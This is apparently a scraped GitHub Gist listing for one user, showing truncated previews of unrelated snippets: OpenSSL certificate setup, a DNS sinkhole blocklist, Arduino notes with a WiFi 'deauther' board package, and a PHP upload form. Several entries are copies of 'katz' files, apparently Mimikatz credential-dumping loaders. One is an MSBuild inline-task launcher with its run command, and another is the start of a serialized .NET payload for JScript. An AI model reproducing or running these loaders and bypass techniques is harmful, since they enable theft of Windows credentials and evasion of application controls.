Skip to content

Instantly share code, notes, and snippets.

@Joshua1909
Joshua1909 / openssl_2way_auth.sh
Created June 10, 2020 12:23 — forked from zapstar/openssl_2way_auth.sh
Steps to create CA, server and client keys + certificates for SSL 2-way authentication
# Move to root directory...
cd /
mkdir keys
cd keys
# Generate a self signed certificate for the CA along with a key.
mkdir -p ca/private
chmod 700 ca/private
# NOTE: I'm using -nodes, this means that once anybody gets
# their hands on this particular key, they can become this CA.
This file has been truncated, but you can view the full file.
"Domain","Record","Entry"
"fjshc.com","a","127.0.0.1"
"fjshengjing.com","a","127.0.0.1"
"fjshengtong.com","a","127.0.0.1"
"fjsheying.com","a","127.0.0.1"
"fjshuye.com","a","127.0.0.1"
"fjsj.duudaa.com","a","127.0.0.1"
"fjsjj99.com","a","127.0.0.1"
"fjsjscl.com","a","127.0.0.1"
"fjslw7kp.hcxykdb.com","a","127.0.0.1"
Download and install the Arduino IDE:
- https://www.arduino.cc/en/Main/Software
Add additional Arduino boards:
- In the Arduino IDE go to File -> Preferences add both URLs in Additional Boards Manager URLs:
- http://arduino.esp8266.com/stable/package_esp8266com_index.json
- http://phpsecu.re/esp8266/package_deauther_index.json
Install ESP8266 boards:
- In the Arduino IDE go to Tools -> Boards -> Board Manager
@Joshua1909
Joshua1909 / upload.php
Created November 22, 2017 07:03 — forked from taterbase/upload.php
Simple file upload in php
<!DOCTYPE html>
<html>
<head>
<title>Upload your files</title>
</head>
<body>
<form enctype="multipart/form-data" action="upload.php" method="POST">
<p>Upload your file</p>
<input type="file" name="uploaded_file"></input><br />
<input type="submit" value="Upload"></input>
@Joshua1909
Joshua1909 / katz.cs
Created November 2, 2017 08:47
Copy of Subtee's katz.cs
This file has been truncated, but you can view the full file.
using System;
using System.IO;
using System.Text;
using System.IO.Compression;
using System.EnterpriseServices;
using System.Collections.Generic;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
@Joshua1909
Joshua1909 / katz.xml
Last active November 2, 2017 08:48
Copy of Subtee's katz.xml
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes c# code. -->
<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe katz.xml -->
<Target Name="Hello">
<SharpLauncher >
</SharpLauncher>
</Target>
<UsingTask
TaskName="SharpLauncher"
TaskFactory="CodeTaskFactory"
@Joshua1909
Joshua1909 / katz.js
Created November 2, 2017 08:45
Copy of Subtee's katz.js
This file has been truncated, but you can view the full file.
var serialized_obj = [
0,1,0,0,0,255,255,255,255,1,0,0,0,0,0,0,0,4,1,0,0,0,34,83,121,115,116,101,109,46,68,101,108,
101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,3,0,0,0,8,68,101,108,
101,103,97,116,101,7,116,97,114,103,101,116,48,7,109,101,116,104,111,100,48,3,3,3,48,83,121,115,116,101,109,46,
68,101,108,101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,43,68,101,108,101,
103,97,116,101,69,110,116,114,121,34,83,121,115,116,101,109,46,68,101,108,101,103,97,116,101,83,101,114,105,97,108,105,
122,97,116,105,111,110,72,111,108,100,101,114,47,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,77,
101,109,98,101,114,73,110,102,111,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,9,2,0,0,